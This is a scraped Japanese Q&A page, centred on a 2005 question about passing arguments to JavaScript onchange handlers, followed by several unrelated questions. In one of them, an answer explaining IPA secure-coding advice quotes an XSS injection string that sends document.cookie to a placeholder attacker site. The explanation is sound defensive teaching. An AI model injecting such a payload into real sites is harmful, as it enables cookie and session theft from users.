はじめまして。
いろいろ調べたのですが、的確な答えが見つかりませんでしたので、ご教授お願いいたします。

訳あってonchangeイベントをタグの外から起動したいのですが、関数に括弧を付けると「実装されていません」というエラーが出てしまいます。
括弧を付けていない関数はうまく起動します。
どうしても関数に引数を渡してあげたいのですが、どのようにすればよいのでしょうか?

動作環境は
IE5.5
windows2000
ASPにてJavaScriptを作成しています。
以下ソースを簡略化して記述しました。
よろしくお願いいたします。

<html>
<head>
<script TYPE="text/javascript">
<!--
function f_AAA(){
alert("AAA");
}
function f_BBB(a_value){
alert(a_value);
}
-->
</script>
</head>

<body>
<form>

<input type="text" name="text1" value="1">
<input type="text" name="text2" value="2">

<script TYPE="text/javascript">
<!--

// ↓括弧の付いていない関数は起動します。
document.forms[0].text1.onchange = f_AAA;

// ↓括弧の付いている関数は起動しません。
document.forms[0].text2.onchange = f_BBB("OK");
-->
</script>

</body>
</form>
</html>

このQ&Aに関連する最新のQ&A

A 回答 (4件)

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">


<script type="text/javascript">

window.onload = function() {
var elems = document.forms[0].elements;
var I = elems.length;
var i = 0;

while (i < I) elems[i++].onclick = function() { alert(this.value); }
}

</script>
<title></title>

<form action="#">
<p>
<input type="text" value="1">
<input type="text" value="2">
<input type="text" value="3">
</p>
</form>
    • good
    • 0
この回答へのお礼

ありがとうございます☆
Chaireさんのソースを参考にさせていただき、色々試してみたところ、下記の呼び出し方法で関数に引数を渡してあげることができました!!
Chaireさん、BLUEPIXYさん、ryk1234さん、本当にありがとうございました!!

function f_BBB(a_value){
alert(document.forms[0]["text" + a_value].value);
}
document.forms[0].text1.onchange = function(){f_BBB("1")}
document.forms[0].text2.onchange = function(){f_BBB("2")}
document.forms[0].text3.onchange = function(){f_BBB("3")}

お礼日時:2005/04/20 09:39

>//↓(2)起動したオブジェクトの情報をこの関数の中で取得したいです。


>alert(document.forms[0]["text" + a_value].value);

<input type="text" name="text2" value="2" onchange="f_BBB(this)">
として
function f_BBB(text){
alert(text.value);
}
の様にして呼び出し元(の値)を参照することができます。
text.nameとすれば名前を取り出すことができます。
あるいは、直接に
<input type="text" name="text2" value="2" onchange="f_BBB(this.value)">
として直接関数に値を渡すこともできます。
    • good
    • 0
この回答へのお礼

タイトル説明の書き方が悪かったでしょうか、今回はINPUTタグの外から関数を呼び出したいので「this.value」等を使用することは考えておりません。
せっかくのお返事、申し訳ありません。

お礼日時:2005/04/20 09:31

getElementByIdを使うと良いかと




<html>
<head>
<script TYPE="text/javascript">
<!--
function f_BBB(a_value){
var fromobj;
if((fromobj=document.getElementById(a_value))){
alert(fromobj.value);
}
}
-->
</script>
</head>

<body>
<form>

<input type="text" name="text1" value="1" ID="Tex1" onchange="f_BBB('Tex1');">
<input type="text" name="text2" value="2" ID="Tex2" onchange="f_BBB('Tex2');">
<input type="text" name="text3" value="3" ID="Tex3" onchange="f_BBB('Tex3');">

</body>
</form>
</html>
    • good
    • 0
この回答へのお礼

タイトル説明の書き方が悪かったでしょうか、今回はINPUTタグの外から関数を呼び出したいので「getElementById」等を使用することは考えておりません。
せっかくのお返事、申し訳ありません。

お礼日時:2005/04/20 09:30

>document.forms[0].text2.onchange = f_BBB("OK");


onchangeへの代入は、関数の呼び出しではなくonchangeイベントが起こった時に呼び出す関数を登録することです。
なので、
function f_BBB_AUX(){
f_BBB("OK");
}
として、
document.forms[0].text2.onchange = f_BBB_AUX;
とするか
素直に
<input type="text" name="text2" value="2" onchange="f_BBB('OK')">
と書きましょう。
    • good
    • 0
この回答へのお礼

早速のご教授、ありがとうございます☆
そうでしたか…
「関数の呼び出し」ではなく「関数の登録」だったとは…
大変勉強になりました!

実は引数を渡したい理由は、ある共通の関数を呼び出す際、呼び出したオブジェクト名を取得したかったのです。
せっかく代替案をいただいたのに申し訳ありません。
以下、ソースを書き直してみました。
よろしくお願いいたします。

<html>
<head>
<script TYPE="text/javascript">
<!--
function f_BBB(a_value){
//↓(2)起動したオブジェクトの情報をこの関数の中で取得したいです。
alert(document.forms[0]["text" + a_value].value);
}
-->
</script>
</head>

<body>
<form>

<input type="text" name="text1" value="1">
<input type="text" name="text2" value="2">
<input type="text" name="text3" value="3">

<script TYPE="text/javascript">
<!--

//↓(1)共通の関数を複数のオブジェクトから起動したいです。
document.forms[0].text1.onchange = f_BBB("1");
document.forms[0].text2.onchange = f_BBB("2");
document.forms[0].text3.onchange = f_BBB("3");

-->
</script>

</body>
</form>
</html>

お礼日時:2005/04/19 20:50

お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!

このQ&Aを見た人が検索しているワード

このQ&Aと関連する良く見られている質問

QTVニュース等でなぜ野球以外のスポーツは扱いが小さい?

サッカー日本×オマーン戦の試合終了が平日深夜1時台にもかかわらず、平均視聴率20%というかなり高い数字を出しました。

しかし、その当日は多少取り上げられたもののやはり野球のゴジラ松井メイン。

小中学校と男女合わせたら意外に一番人気がある思われるバスケも田臥勇太選手が、日本人初NBA選手になった時ですら取り上げるか取り上げないかくらい。
(スラムダンクという漫画でバスケを広めた作者井上さんも最終巻のあとがきでマスコミの扱いが相変わらず小さいと嘆いていらっしゃいました)

今野球はスポーツ界の中でダントツ人気と言うわけでもないのになぜここまで特別扱い、逆に言えばなぜ野球以外のスポーツの扱いがこんなに悪いんでしょうか?
上記に挙げた日本代表は少なくとも視聴率という結果を挙げているのだからもっとイチローの時みたいに特集を組んだりしてもいいと思うし、「バスケを報道しないのは人気が無いからでは?」と思う方もおられるかと思いますが、人気が無いのはマスコミが取り上げないせいも大きいかと思います。

Aベストアンサー

ズバリ、 スポンサーとメディア側の発想が古いからだと思います。  20年ほど現状認識がずれているでしょう。

その業界の人間ではありませんが、どの番組でも制作責任者、或いは番組編成の責任者の年齢は40歳台以上ではないかな、と思います。

この年代の人間は基本的に相撲と野球しか知りません。  それも野球では圧倒的に巨人です。

彼らにとっては、サッカーのW杯予選より、パリーグのプレーオフや日本シリーズの方がはるかに興味あるはずです。

あとはゴルフくらいかな ・・・ 彼らは自分でもやりますからね。

一方、バスケやサッカーの方が注目されるのは30歳前後までの世代ではないでしょうか。

ところで、メディア側の現状認識が20年ほどずれているというのは、スポーツ関連だけではなく、政治面でも同じですよ。

自民党の政策は何をしても全て 「悪」、 野党はどれだけ選挙にボロ負けし、国民にソッポを向かれても 「善」 という扱いが多いと思います。  これは55年体制からの古い発想からメディア自身が未だに脱却していない証拠でしょうね。

もうひとつ。  平成13年に小泉政権が誕生し、新内閣の閣僚人事を決定するときのメディアの取材方法ですが、各派閥の領袖の動きだけを注視するという古来からの方法を踏襲し、その結果、取材現場が大混乱した事がありました。  小泉首相はそれを聞いて、 「構造改革しなければいけないのは、まずマスコミだな」 と呟いたとか ・・・

あと、スポンサーやメディアの担当者とすれば、野球を中心に番組編成をしていれば、役員など年寄り連中には印象がいいでしょうし、仮に低視聴率など問題が発生しても他に責任転嫁しやすいのではないかな、と感じています。  野球関連番組は歴史が長いですからね。

これを、思い切って若い世代に人気の高いバスケやサッカーを中心にして、もし失敗でもすれば、もろに責任がかかってくる制度になってはいないでしょうか。

そうだとすれば、担当者の本心は別でも、野球さえやっていれば、とりあえず安心という事になるんでしょうね。

ズバリ、 スポンサーとメディア側の発想が古いからだと思います。  20年ほど現状認識がずれているでしょう。

その業界の人間ではありませんが、どの番組でも制作責任者、或いは番組編成の責任者の年齢は40歳台以上ではないかな、と思います。

この年代の人間は基本的に相撲と野球しか知りません。  それも野球では圧倒的に巨人です。

彼らにとっては、サッカーのW杯予選より、パリーグのプレーオフや日本シリーズの方がはるかに興味あるはずです。

あとはゴルフくらいかな ・・・ 彼らは自...続きを読む

Q 内に書くことはできません」

元アルバイト先に頼まれてサイトを作り運営しているのですが、わからないことがあるので教えて下さい。

サイトはXHTML1.0 Transitional で作っており、ここに、http://fmono.sub.jp/ の「w3Analyzer」を組み込みアクセス解析をしています。サイト自体もこのアクセス解析も正常に動作しています。
ただ、このサイトをhttp://openlab.ring.gr.jp/k16/htmllint/htmllint.htmlで構文チェックすると、アクセス解析のタグにエラー「<img>を~行目の<script>~</script>内に書くことはできません。」が表示されてしまいます。
エラーが表示されるタグは下記のようなものです。

<script type="text/javascript">
document.write('<img src="http://~/w3a/writelog.php?ref='+document.referrer+'" width="1" height="1" />');
</script> >

アクセスログは普通に取得できているので問題ないのですが、もし上記エラーを回避する方法があればご教授下さい。よろしくお願いします。

元アルバイト先に頼まれてサイトを作り運営しているのですが、わからないことがあるので教えて下さい。

サイトはXHTML1.0 Transitional で作っており、ここに、http://fmono.sub.jp/ の「w3Analyzer」を組み込みアクセス解析をしています。サイト自体もこのアクセス解析も正常に動作しています。
ただ、このサイトをhttp://openlab.ring.gr.jp/k16/htmllint/htmllint.htmlで構文チェックすると、アクセス解析のタグにエラー「<img>を~行目の<script>~</script>内に書くことはできません。」が表示されてし...続きを読む

Aベストアンサー

XHTML には「ホンモノの XHTML」と「ニセモノの XHTML」があります。「ホンモノの XHTML」とは application/xml または application/xhtml+xml として識別されるもの、「ニセモノの XHTML」は text/html で識別されるものです。

※実際にはどちらも本物です。ここでは「HTML 互換として処理される XHTML」を「ニセモノ」、「XML として解析される XHTML」を「ホンモノ」と、カタカナ&カッコ付きで書いています。

「ホンモノの XHTML」として見れば、質問文のソースは妥当性違反です。なぜなら、img 要素のタグがエスケープされていないため、これがスクリプトの一部ではなく文書構成要素だと判断されるからです。XHTML 1.0 のスキーマは、script 要素内に img 要素が出現することを許していません。もちろん、スクリプトとしても正しく動作しません。

従って、XML のルールに従ってエスケープする必要があります。特に「<」と「&」は必ずエスケープしなければなりません。

document.write('&lt;img .... />');

ですが面倒なことに、「ニセモノの XHTML」ではこれが動作しなくなります。「ニセモノの XHTML」は、HTML との互換性のために script 要素内の「<」「&」をうまく扱ってくれるのですが、それが仇となり、上記では「&lt;」が「<」に戻りません。

ならば、コメント区間にするのはどうでしょう。XML でもコメント内なら「<」「&」が現れても大丈夫です(ただし「--」だけは駄目です)。

<script type="text/javascript"><!--
document.write('<img .... />');
//--></script>

「ニセモノの XHTML」ならこれでも構いません。しかし、「ホンモノの XHTML」では、コメントは本当に破棄されてしまい、上記では動作すらしなくなります。

そこで、XML/HTML のルールを使わず、JavaScript のルールでエスケープすることを考えます。

document.write('\u003Cimg .... />');

これなら大丈夫でしょう。XML/HTML に限らず、言語が混在する際は必ず適切なエスケープを施す必要があります。エスケープを避けたければ外部スクリプトにして下さい。


なお、ここには別の問題があります。そもそも「ホンモノの XHTML」では、document.write を使用できません。これは HTML 互換の機能だからです(HTML5 に明記されています)。

XHTML を採用するのであれば、それが「ホンモノ」でも「ニセモノ」でも大丈夫なよう、document.write に頼らないコードを作成して下さい。あるいは try...catch で括るなどして、「ニセモノ」として処理されたときのみコードが動作するよう工夫して下さい。あるいはいっそ、XHTML を止めるのも 1 つの選択でしょう。

XHTML には「ホンモノの XHTML」と「ニセモノの XHTML」があります。「ホンモノの XHTML」とは application/xml または application/xhtml+xml として識別されるもの、「ニセモノの XHTML」は text/html で識別されるものです。

※実際にはどちらも本物です。ここでは「HTML 互換として処理される XHTML」を「ニセモノ」、「XML として解析される XHTML」を「ホンモノ」と、カタカナ&カッコ付きで書いています。

「ホンモノの XHTML」として見れば、質問文のソースは妥当性違反です。なぜなら、img 要素のタ...続きを読む

Qexciteニュースへのトラックバックはexcite blog以外からもできるの?

 原則としてexciteニュース(http://www.excite.co.jp/News/)へのトラックバックは、excite会員かつexcite blogサービスからしかトラックバックできないとされていますが、ニュース欄の下にある「この記事へのトラックバック」一覧のリンク先のアドレスを見てみると、Livedoorブログやseesaaブログといった、exciteブログ以外からのアクセスであるケースがあります。

 exciteニュースにおいて、excite blog以外のブログサービスからトラックバックをする方法はあるのでしょうか?

Aベストアンサー

ニュースによってできるものとできないものがあるみたいです。
例えば、
http://www.excite.co.jp/News/bit/00091131288722.html
だと、下の方に
トラックバックURL: http://www.excite.co.jp/News/tb/News/bit/00091131288722.html

が公開されているのでexcite以外のブログからもトラックバックできます。
個人的には全部できるようになったのかと思ったらニュースによってはこれが確認できないときもあるんですよね。

Q内のコードの抽出方法

Ajaxで読み込んだHTML文書内にあるスクリプトのコードだけを
抽出したいのですが、正規表現を教えてください。
自分で考えてみたものは、以下の方法です。
これが最良なのかわかりません。
「スクリプトは複数箇所に存在しない」という条件で構いません。
宜しくお願いします。

var HTML = 'ここにHTML';
HTML.match(/.*<script.*>([\w\W]*)<\/script>.*/);
scr = RegExp.$1;
eval(scr);

Aベストアンサー

>改行が
ああそうか・・・ mフラグ付けると どう?
ダメなら [\s\S]* とか使う事になると思うけど・・・

Qわかりやすいニュースのサイト(こどもニュース以外で)

わかりやすいニュースのサイトがあれば教えて下さい。

いぜん、週刊こどもニュースというサイトを教えて頂き、大変分かりやすかったのですが、それ以外のもご存知の方いらっしゃれば、教えて下さい。

Aベストアンサー

>わかりやすいニュースのサイトがあれば教えて下さい。
>いぜん、週刊こどもニュースというサイトを教えて頂き、大変分かりやすかったのですが、
>それ以外のもご存知の方いらっしゃれば、教えて下さい。

田中宇の国際ニュース解説 http://tanakanews.com/

Q 要素の内

▽安全なウェブサイトの作り方
  http://www.ipa.go.jp/security/vuln/documents/website_security.pdf

><script>...</script> 要素の内容を動的に生成しない
>ウェブページに出力する<script>...</script>要素の内容が、外部からの入力に依存する形で動的に生成される場合、任意のスクリプトが埋め込まれてしまう可能性があります

・P25で上記のように書かれているのですが、理解できません(何故ここだけ動的生成してはいけないのか等)
・具体的にどのようにして埋め込まれる恐れがあるのでしょうか?
・またここで書いている内容は、下記何れを指しているのでしょうか?
・ココカラ<script>...</script>ココマデ
・<script>ココカラ...ココマデ</script>

Aベストアンサー

攻撃の容易性でしょう。

この脆弱性を付く攻撃をする際に一番苦労するのが <script> をどうやって埋め込むかです。これは入力内容のエスケープ処理で大体は塞がれてしまうのですが、<script> 要素内に直接埋めこめられるならその問題が無いので、かなり攻撃しやすいサイトとなります。

埋め込み方法ですが、以下の様な生成をするサイトの場合なら

入力内容: 太郎
出力内容: <script>alert('こんにちは太郎さん')</script>

そのサイト内で使用している cookie 内容を盗聴するために、以下のように攻撃できます。

入力内容: ');window.location='http://攻撃サイト/'+document.cookie;a=('
出力内容: <script>alert('こんにちは');window.location='http://攻撃サイト/'+document.cookie;a=('さん')</script>

引用符のエスケープ処理で塞がれるかもしれませんが、それでも対処できる余地はあります。

Q【暴力団構成員ってニュースにならないだけで日々バンバン死んでいってるんですか?】 それとも以外に長生

【暴力団構成員ってニュースにならないだけで日々バンバン死んでいってるんですか?】


それとも以外に長生き?

Aベストアンサー

ニュースになってる者だけ死んでたら、少子化にはならないでしょ。
バンバンかはシリマセンガ、
死んでいってマスよ。

まぁ、一般人よりかは確率高いでしょうな

Q

人気Q&Aランキング

おすすめ情報